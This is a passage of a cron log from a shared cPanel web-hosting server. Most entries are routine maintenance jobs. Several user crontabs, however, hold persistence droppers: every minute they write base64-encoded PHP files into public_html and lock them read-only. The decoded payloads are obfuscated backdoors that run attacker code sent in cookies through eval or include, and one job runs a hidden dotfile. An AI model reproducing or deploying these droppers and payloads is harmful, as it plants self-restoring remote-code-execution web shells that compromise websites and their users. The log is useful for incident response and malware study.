kgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:29:01 medusa CROND[25097]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:30:01 medusa CROND[16732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:30:01 medusa CROND[16761]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:30:02 medusa CROND[16889]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 17:30:02 medusa CROND[16991]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 17:30:02 medusa CROND[16990]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 17:30:02 medusa CROND[16993]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 17:30:02 medusa CROND[16999]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 17:30:02 medusa CROND[17000]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 17:30:02 medusa CROND[17007]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 17:30:02 medusa CROND[17011]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:30:02 medusa CROND[17012]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 17:30:02 medusa CROND[17013]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 17:30:02 medusa CROND[17010]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 17:30:02 medusa CROND[17016]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 17:30:02 medusa CROND[17015]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 17:30:02 medusa CROND[17020]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:30:02 medusa CROND[17021]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 17:30:02 medusa CROND[17028]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 17:30:02 medusa CROND[17029]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:30:02 medusa CROND[17032]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:30:02 medusa CROND[17033]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 17:30:02 medusa CROND[17034]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 17:30:02 medusa CROND[17038]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:30:02 medusa CROND[17040]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 17:30:02 medusa CROND[17041]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:30:02 medusa CROND[17030]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 17:30:02 medusa CROND[17039]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 17:30:02 medusa CROND[17048]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:30:02 medusa CROND[17049]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 17:30:02 medusa CROND[17035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:30:02 medusa CROND[17037]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 17:31:01 medusa CROND[8256]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 17:31:01 medusa CROND[8298]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 17:31:02 medusa CROND[8371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 17:31:02 medusa CROND[8372]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 17:31:02 medusa CROND[8379]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 17:31:02 medusa CROND[8381]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 17:31:02 medusa CROND[8382]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 17:31:02 medusa CROND[8384]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 17:31:02 medusa CROND[8383]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:31:02 medusa CROND[8385]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:31:02 medusa CROND[8386]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 17:31:02 medusa CROND[8387]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 